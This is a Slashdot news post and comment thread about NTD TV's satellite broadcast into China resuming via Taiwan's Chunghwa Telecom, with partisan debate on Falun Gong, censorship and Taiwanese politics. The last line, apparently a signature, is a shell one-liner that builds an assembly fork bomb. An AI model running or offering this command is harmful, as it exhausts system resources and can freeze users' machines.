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Chinese Censorship Gets Blasted By NTD TV
jjp9999 writes "Despite years of pressure from the Chinese regime, independent television station NTD TV will resume its broadcast throughout China with a Taiwanese satellite. Chinese residents throughout the mainland can receive the broadcast using satellite dishes (which are illegal) and get a glimpse of the world beyond the Great Firewall. Taiwan's Chunghwa Telecom (CHT) satellite provider fought the ruling tooth and nail, yet folded under pressure from the Taiwanese premier, the vice president of European Parliament, human rights groups, and other international bodies. A similar case took place when French satellite company Eutelsat cut NTD TV's broadcast into China just short of the 2008 Beijing Olympics. Although they said the outage was due to technical problems, an investigation by Reporters Without Borders caught Eutelsat employees red handed, recording admissions they cut the service due to pressure from the Chinese communist regime."
Thanks for the propaganda Mr. 50center AC. Yeah, NTDTV is tied to the Falun Gong. That doesn't mean that it isn't useful. I don't like the Catholic Church, or for that matter, any church, but that doesn't mean I think we should close all the church-run orphanages and soup kitchens and what-have-you. Just because an organization has silly beliefs doesn't mean everything it does is intrinsically worthless.
I support the Slashcott and will not be reading or commenting from 2/10/14 to 2/17/14. Beta is steaming pile of dog shit
I always wondered why Chinese people couldn't just use satellites to get around the firewall, or to at least receive broadcasts. It amazes me that they're just plain illegal. I can't even imagine living in a country where the government has such a great need to control your thoughts, that they tell you that you can't even listen to what anyone from outside your country might be saying.
-- Let us endeavor so to live that when we pass even the undertaker shall be sorry. -- M. Twain
If you're moving to NewYork, generally it's because of either family and/or opportunity above and beyond what's found in China. These immigrants come to the states with communist indoctrinated zeal. If anything, they're looking for change. It's also worth pointing out that true CCP members have little power and influence outside of the mainland unless a Chinese business is primarily based out of China.
Basically, if they're actual fistfights breaking out in NewYork between commies and gongs, I'd have to say this was a staged media setup. I don't buy it.
Life is not for the lazy.
How is that any different from the Christian Science Monitor, one of the most objective news sources in the country?
Give me Classic Slashdot or give me death!
I think someone is overestimating the effect of a satellite transmission into a country where satellite receivers are illegal.
It would be like flashing a school for the blind. Sure, it is fun but overall, don't expect much screaming and shouting... how do I know? Never you mind.
MMO Quests are like orgasms:
You may solo them, I prefer them in a group.
Falun Gong has long tried to overthrow the current Chinese regime.
That's hilarious. The Chinese state fiercely promoted Falun Gong until it got jealous at its popularity and started locking them up, torturing them, etc. I think the totalitarian regime that thinks that a group of pacifist meditators is a threat to them is the crackpot here.
You don't agree with it, but you shower them with praise for the successes that they have gained by sacrificing the individual rights of the people. You might as well be one of those people trying to argue that Hitler fixed the German and/or US economy. (I don't care about Godwin's Law, since your opinion here actually does remind me of one I've heard before). I don't care if they have acheived "great stable economic development" (what's so stable about 20M+ dead of starvation in three years, anyways)- they did it through abuse and exploitation.
The news is that Taiwan based Chungwa Telecom finally relented and let the broadcasts continue. Like corporations all over the world, Chungwa Telecom may have been either bowing to pressure or just trying to kiss up to China in order to maintain or improve access to Chinese markets.
There may have also been a more political reason. "Chungwa" means "Chinese" (more in the ethnic sense than in the sovereign state sense). When the Chinese took over Taiwan after WWII they set about trying to make the country Chinese. Nearly all the roads in major cities had their names changed from their original Taiwanese or Japanese names to Chinese names. Corporations and government agencies based in Tawian were named "China" this or "China" that. For example, the national post office of Taiwan is called "China Post". In the nineties a Taiwanese man finally got the reins of power and under his leadership the country became a democracy. Another Taiwanese man was elected to replace him when his 8 years were up. But like all two party systems the other guys (in this case the Chinese guys) eventually got back in (helped by the fact that they still controlled the bureaucracy). The second Taiwanese president has been sentenced to life in prison and they've just indicted the first one. Meanwhile the Chinese party in Taiwan has been extremely friendly to China.
There is an ongoing debate in Taiwan about whether to merge with China or remain independent. The "China" in "China Telecom" might suggest which side that corporation is on. As for the government, when this satellite issue became public, it gave them a chance to put a little distance between themselves and China (the majority of the country is Taiwanese and they don't want to merge) without irritating the Chinese too much and to look like they're supporting freedom.
I often don't like the choices people make, but I like the fact that people make choices. That's why I'm a conservative.
First, even if you were right (which you are not) my estimated $2/month cost for unrestricted internet comes out to 1.3% of monthly income. A small--but not insignificant--amount to pay for unbridled access to information.
But your number was incorrect. China earned in $12/day nationwide in 2004. And, more apropos to the discussion, China's urban citizenry is brought home $20/day in 2004. It is beyond dispute that the average income in China has increased dramatically since 2004.
My point is that $2/month still represents the relatively small contribution of 0.5% of the average urbanites' monthly income in 2004. The relative cost is at least half as large today.
To repeat myself: the cost of unfiltered internet in China is very small. New broadcasting mechanisms are an inconsequential contribution to the current availability of unrestricted information.
Having spent some time in Taiwan I'd say it works like this
5% of the population want de jure independence as opposed to the current de facto sort. If Taiwan declared de jure independence the Chinese would invade.
5% of the population want to join China.
90% of the population want to keep the status quo for the time being.
But it's more complex than that - the people that want to join China actually want to join the Republic of China, not the People's Republic.
So really the overwhelming majority are waiting for a change in the PRC. Then you'd see a real debate about whether to join a federal democratic China or go their own way.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;